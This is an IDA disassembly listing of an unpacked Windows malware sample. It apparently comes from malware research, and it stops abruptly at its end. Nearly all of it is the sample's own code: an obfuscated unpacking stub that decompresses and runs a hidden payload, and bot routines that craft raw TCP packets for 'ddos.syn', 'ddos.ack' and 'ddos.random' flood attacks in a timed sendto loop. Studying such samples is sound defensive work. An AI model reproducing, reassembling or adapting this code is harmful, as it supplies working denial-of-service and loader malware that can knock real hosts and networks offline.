; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7CD2371C8B775B84739E749C41BF3F4D ; ; The code at 400000..401000 is hidden from normal disassembly ; and was loaded because the user ordered to load it explicitly ; ; <<<< IT MAY CONTAIN TROJAN HORSES, VIRUSES, AND DO HARMFUL THINGS >>> ; ; unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code HEADER segment page public 'DATA' use32 assume cs:HEADER ;org 400000h assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public __ImageBase __ImageBase proc near ; DATA XREF: sub_4197BC+3Eo ; sub_4197BC:loc_419861r dec ebp pop edx nop jmp short loc_400006 ; --------------------------------------------------------------------------- align 2 loc_400006: ; CODE XREF: __ImageBase+3j push edx jmp loc_400195 ; --------------------------------------------------------------------------- dd 4550h, 3014Ch, 3 dup(0) dd 30F00E0h, 10Bh, 5 dup(0) dd 0Ch, 400000h, 1000h, 200h, 1, 0 dd 4, 0 dd 88200h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 88000h, 1Fh dup(0) dd 6C000h, 1000h, 6C000h, 1000h, 3 dup(0) dd 0E0000060h, 2 dup(0) dd 1B000h, 6D000h, 1B000h, 6D000h, 3 dup(0) dd 0C0000040h, 6164692Eh, 326174h, 1000h, 88000h, 200h dd 88000h, 417972h, 47000000h, 72507465h, 0C0000040h, 73657264h dd 73h, 72695600h, 6C617574h, 746F7250h, 746365h db 0 ; --------------------------------------------------------------------------- loc_400195: ; CODE XREF: __ImageBase+7j jmp short loc_400198 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400198: ; CODE XREF: __ImageBase:loc_400195j mov eax, large fs:30h jmp short loc_4001A1 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001A1: ; CODE XREF: __ImageBase+19Ej mov ecx, [eax+0Ch] jecxz short loc_400215 jmp short loc_4001A9 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001A9: ; CODE XREF: __ImageBase+1A6j add eax, 0ACh jmp short loc_4001B1 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001B1: ; CODE XREF: __ImageBase+1AEj cmp word ptr [eax], 893h jmp short loc_4001B9 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001B9: ; CODE XREF: __ImageBase+1B6j jnz short loc_4001C5 jmp short loc_4001BE ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001BE: ; CODE XREF: __ImageBase+1BBj mov eax, 0FFFFFF38h jmp short loc_4001D9 ; --------------------------------------------------------------------------- loc_4001C5: ; CODE XREF: __ImageBase:loc_4001B9j jmp short loc_4001C8 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001C8: ; CODE XREF: __ImageBase:loc_4001C5j cmp word ptr [eax], 0A28h jnz short loc_400219 jmp short loc_4001D2 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001D2: ; CODE XREF: __ImageBase+1CFj mov eax, 0FFFFFF1Ah jmp short $+2 loc_4001D9: ; CODE XREF: __ImageBase+1C3j jmp short loc_4001DC ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001DC: ; CODE XREF: __ImageBase:loc_4001D9j xor ecx, ecx jmp short loc_4001E1 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001E1: ; CODE XREF: __ImageBase+1DEj push ecx jmp short loc_4001E5 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001E5: ; CODE XREF: __ImageBase+1E2j push ecx jmp short loc_4001E9 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001E9: ; CODE XREF: __ImageBase+1E6j push 11h jmp short loc_4001EE ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001EE: ; CODE XREF: __ImageBase+1EBj push 0FFFFFFFEh jmp short loc_4001F3 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4001F3: ; CODE XREF: __ImageBase+1F0j call sub_4001FB jmp short sub_4001FB __ImageBase endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0CDh ; =============== S U B R O U T I N E ======================================= sub_4001FB proc near ; CODE XREF: __ImageBase:loc_4001F3p ; __ImageBase+1F8j arg_0 = byte ptr 4 add dword ptr [esp+0], 18h jmp short loc_400202 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400202: ; CODE XREF: sub_4001FB+4j not eax jmp short loc_400207 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400207: ; CODE XREF: sub_4001FB+9j lea edx, [esp+arg_0] jmp short loc_40020E ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40020E: ; CODE XREF: sub_4001FB+10j int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string add esp, 14h jmp short loc_400219 ; --------------------------------------------------------------------------- loc_400215: ; CODE XREF: __ImageBase+1A4j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_400219: ; CODE XREF: __ImageBase+1CDj ; sub_4001FB+18j call sub_400221 jmp short sub_400221 sub_4001FB endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0CDh ; =============== S U B R O U T I N E ======================================= sub_400221 proc near ; CODE XREF: sub_4001FB:loc_400219p ; sub_4001FB+23j pop ebp jmp short loc_400225 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400225: ; CODE XREF: sub_400221+1j lea ebp, [ebp-21Eh] jmp short loc_40022E ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40022E: ; CODE XREF: sub_400221+Aj mov ebx, [ebp+138h] jmp short loc_400237 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400237: ; CODE XREF: sub_400221+13j add ebx, ebp jmp short loc_40023C ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40023C: ; CODE XREF: sub_400221+18j lea eax, [esp-4] jmp short loc_400243 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400243: ; CODE XREF: sub_400221+1Fj push eax jmp short loc_400247 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400247: ; CODE XREF: sub_400221+23j push 4 jmp short loc_40024C ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40024C: ; CODE XREF: sub_400221+28j push 1000h jmp short loc_400254 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400254: ; CODE XREF: sub_400221+30j push ebp jmp short loc_400258 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400258: ; CODE XREF: sub_400221+34j call dword ptr [ebx+30h] jmp short loc_40025E ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40025E: ; CODE XREF: sub_400221+3Aj mov eax, 0 jmp short loc_400266 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400266: ; CODE XREF: sub_400221+42j mov [ebp+94h], eax jmp short loc_40026F ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40026F: ; CODE XREF: sub_400221+4Bj lea esi, [ebx+50h] jmp short loc_400278 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400278: ; CODE XREF: sub_400221+54j lea edi, [ebp+1000h] jmp short loc_400281 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400281: ; CODE XREF: sub_400221+5Dj call sub_400355 jmp short loc_400289 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400289: ; CODE XREF: sub_400221+65j mov esi, 22130h jmp short loc_400291 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400291: ; CODE XREF: sub_400221+6Dj or esi, esi jz loc_400339 add esi, ebp loc_40029B: ; CODE XREF: sub_400221+113j jmp short loc_40029E ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40029E: ; CODE XREF: sub_400221:loc_40029Bj mov ecx, [esi+0Ch] jmp short loc_4002A4 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002A4: ; CODE XREF: sub_400221+80j or ecx, ecx jz loc_400339 jmp short loc_4002AF ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002AF: ; CODE XREF: sub_400221+8Bj add ecx, ebp jmp short loc_4002B4 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002B4: ; CODE XREF: sub_400221+90j mov edi, ecx jmp short loc_4002B9 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002B9: ; CODE XREF: sub_400221+95j push edi jmp short loc_4002BD ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002BD: ; CODE XREF: sub_400221+99j call dword ptr [ebx+28h] mov edi, eax jmp short loc_4002C5 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002C5: ; CODE XREF: sub_400221+A1j mov ecx, [esi] or ecx, ecx jnz short loc_4002CE mov ecx, [esi+10h] loc_4002CE: ; CODE XREF: sub_400221+A8j jecxz short loc_40034B add ecx, ebp jmp short loc_4002D5 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002D5: ; CODE XREF: sub_400221+B1j mov edx, [esi+10h] jmp short loc_4002DB ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002DB: ; CODE XREF: sub_400221+B7j add edx, ebp loc_4002DD: ; CODE XREF: sub_400221+10Ej jmp short loc_4002E0 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002E0: ; CODE XREF: sub_400221:loc_4002DDj mov eax, [ecx] jmp short loc_4002E5 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002E5: ; CODE XREF: sub_400221+C1j or eax, eax jz short loc_400331 jmp short loc_4002EC ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002EC: ; CODE XREF: sub_400221+C8j test eax, 80000000h jz short loc_4002FD jmp short loc_4002F6 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_4002F6: ; CODE XREF: sub_400221+D2j and eax, 0FFFFh jmp short loc_400308 ; --------------------------------------------------------------------------- loc_4002FD: ; CODE XREF: sub_400221+D0j add eax, ebp jmp short loc_400302 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400302: ; CODE XREF: sub_400221+DEj add eax, 2 jmp short loc_400308 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400308: ; CODE XREF: sub_400221+DAj ; sub_400221+E4j push ecx push edx jmp short loc_40030D ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40030D: ; CODE XREF: sub_400221+E9j push eax push edi jmp short loc_400312 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400312: ; CODE XREF: sub_400221+EEj call dword ptr [ebx+2Ch] jmp short loc_400318 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400318: ; CODE XREF: sub_400221+F4j pop edx pop ecx jmp short loc_40031D ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40031D: ; CODE XREF: sub_400221+F9j or eax, eax jz short loc_40034B mov [edx], eax jmp short loc_400326 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400326: ; CODE XREF: sub_400221+102j add ecx, 4 jmp short loc_40032C ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40032C: ; CODE XREF: sub_400221+108j add edx, 4 jmp short loc_4002DD ; --------------------------------------------------------------------------- loc_400331: ; CODE XREF: sub_400221+C6j add esi, 14h jmp loc_40029B ; --------------------------------------------------------------------------- loc_400339: ; CODE XREF: sub_400221+72j ; sub_400221+85j jmp short loc_40033C ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40033C: ; CODE XREF: sub_400221:loc_400339j mov eax, ebp jmp short loc_400341 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400341: ; CODE XREF: sub_400221+11Dj add eax, 17B18h jmp short loc_400349 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_400349: ; CODE XREF: sub_400221+125j jmp eax ; --------------------------------------------------------------------------- loc_40034B: ; CODE XREF: sub_400221:loc_4002CEj ; sub_400221+FEj jmp short loc_40034E ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40034E: ; CODE XREF: sub_400221:loc_40034Bj or eax, 0FFFFFFFFh jmp short locret_400354 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- locret_400354: ; CODE XREF: sub_400221+130j retn sub_400221 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_400355 proc near ; CODE XREF: sub_400221:loc_400281p ; FUNCTION CHUNK AT 004003ED SIZE 00000003 BYTES push ebp push ebx cld mov dl, 80h xor ebx, ebx loc_40035C: ; CODE XREF: sub_400355+Fj movsb mov bl, 2 loc_40035F: ; CODE XREF: sub_400355+34j ; sub_400355+7Aj call sub_4003D1 jnb short loc_40035C xor ecx, ecx call sub_4003D1 jnb short loc_40038B xor eax, eax call sub_4003D1 jnb short loc_40039B mov bl, 2 inc ecx mov al, 10h loc_40037D: ; CODE XREF: sub_400355+2Fj call sub_4003D1 adc al, al jnb short loc_40037D jnz short loc_4003C7 stosb jmp short loc_40035F ; --------------------------------------------------------------------------- loc_40038B: ; CODE XREF: sub_400355+18j call sub_4003DD sub ecx, ebx jnz short loc_4003A4 call sub_4003DB jmp short loc_4003C3 ; --------------------------------------------------------------------------- loc_40039B: ; CODE XREF: sub_400355+21j lodsb shr eax, 1 jz short loc_4003ED adc ecx, ecx jmp short loc_4003C0 ; --------------------------------------------------------------------------- loc_4003A4: ; CODE XREF: sub_400355+3Dj xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4003DB cmp eax, 7D00h jnb short loc_4003C0 cmp ah, 5 jnb short loc_4003C1 cmp eax, 7Fh ja short loc_4003C2 loc_4003C0: ; CODE XREF: sub_400355+4Dj ; sub_400355+5Fj inc ecx loc_4003C1: ; CODE XREF: sub_400355+64j inc ecx loc_4003C2: ; CODE XREF: sub_400355+69j xchg eax, ebp loc_4003C3: ; CODE XREF: sub_400355+44j mov eax, ebp mov bl, 1 loc_4003C7: ; CODE XREF: sub_400355+31j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_40035F sub_400355 endp ; =============== S U B R O U T I N E ======================================= sub_4003D1 proc near ; CODE XREF: sub_400355:loc_40035Fp ; sub_400355+13p ... add dl, dl jnz short locret_4003DA mov dl, [esi] inc esi adc dl, dl locret_4003DA: ; CODE XREF: sub_4003D1+2j retn sub_4003D1 endp ; =============== S U B R O U T I N E ======================================= sub_4003DB proc near ; CODE XREF: sub_400355+3Fp ; sub_400355+55p xor ecx, ecx sub_4003DB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4003DD proc near ; CODE XREF: sub_400355:loc_40038Bp inc ecx loc_4003DE: ; CODE XREF: sub_4003DD+Dj call sub_4003D1 adc ecx, ecx call sub_4003D1 jb short loc_4003DE retn sub_4003DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_400355 loc_4003ED: ; CODE XREF: sub_400355+49j pop ebx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_400355 ; --------------------------------------------------------------------------- dd 4 dup(0) dd 300h dup(?) HEADER ends ; File Name : u:\work\7cd2371c8b775b84739e749c41bf3f4d_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0006C000 ( 442368.) ; Section size in file : 0006C000 ( 442368.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 401000h assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40CD3A+383Co var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_42104C ; GetTickCount push eax call sub_415368 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E8 push eax lea eax, [ebp+var_494] push offset unk_423050 push eax call sub_415316 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_412BD1 add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_494] push eax call sub_40B078 push [ebp+var_290] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B2 proc near ; CODE XREF: sub_4013E8+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43C4CC ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013BB ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43C5F8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013B3 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43C534 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013A9 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43C554 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43C554 ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43C554 ; ntohs mov [ebp+var_12], ax call sub_415372 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43C554 ; ntohs push 12345678h mov [ebp+var_14], ax call dword_43C550 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_415372 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_415372 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43C554 ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_421054 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_421050 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_4157C0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2EEj mov [ebp+var_4], bx call sub_415372 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43C554 ; ntohs mov [ebp+var_14], ax call sub_415372 mov edi, eax shl edi, 10h call sub_415372 or edi, eax push edi call dword_43C554 ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43C550 ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43C554 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_4153F0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A0E3 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_4153F0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415390 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A0E3 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43C5B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013BF add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_421050 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013A6 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jb loc_401264 loc_4013A6: ; CODE XREF: sub_4010B2+2E0j mov ebx, [ebp+arg_8] loc_4013A9: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+334j push [ebp+var_20] call dword_43C5EC ; closesocket pop esi loc_4013B3: ; CODE XREF: sub_4010B2+5Bj call dword_43C4B4 ; WSACleanup mov eax, ebx loc_4013BB: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013BF: ; CODE XREF: sub_4010B2+2CBj call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_42308C push eax call sub_415316 lea eax, [ebp+var_F4] push eax call sub_40B078 add esp, 10h jmp short loc_4013A9 sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= sub_4013E8 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409F7A push [esp+10h+arg_4] mov esi, eax call sub_41587F push [esp+14h+arg_C] mov ebx, eax call sub_41587F mov edi, eax call sub_415372 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401435 inc eax loc_401435: ; CODE XREF: sub_4013E8+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401444 proc near ; DATA XREF: sub_40CD3A+3A2Fo var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_1BC] push 0FFh inc ebx push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43C5D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014DF call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_423238 push eax loc_401493: ; DATA XREF: seg001:off_424D90o ; seg001:off_425D58o call sub_415316 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C2 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412BD1 add esp, 14h loc_4014C2: ; CODE XREF: sub_401444+5Cj lea eax, [ebp+var_3BC] push eax call sub_40B078 push [ebp+var_38] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4014DF: ; CODE XREF: sub_401444+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43C534 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401556 call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4231E8 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_401539 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412BD1 add esp, 14h loc_401539: ; CODE XREF: sub_401444+D3j lea eax, [ebp+var_3BC] push eax call sub_40B078 push [ebp+var_38] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_401556: ; CODE XREF: sub_401444+B3j lea eax, [ebp+var_1B8] push eax call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015BD lea eax, [ebp+var_3BC] push offset unk_4231B4 push eax call sub_415316 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A0 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412BD1 add esp, 14h loc_4015A0: ; CODE XREF: sub_401444+13Aj lea eax, [ebp+var_3BC] push eax call sub_40B078 push [ebp+var_38] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4015BD: ; CODE XREF: sub_401444+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_415390 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43C554 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call 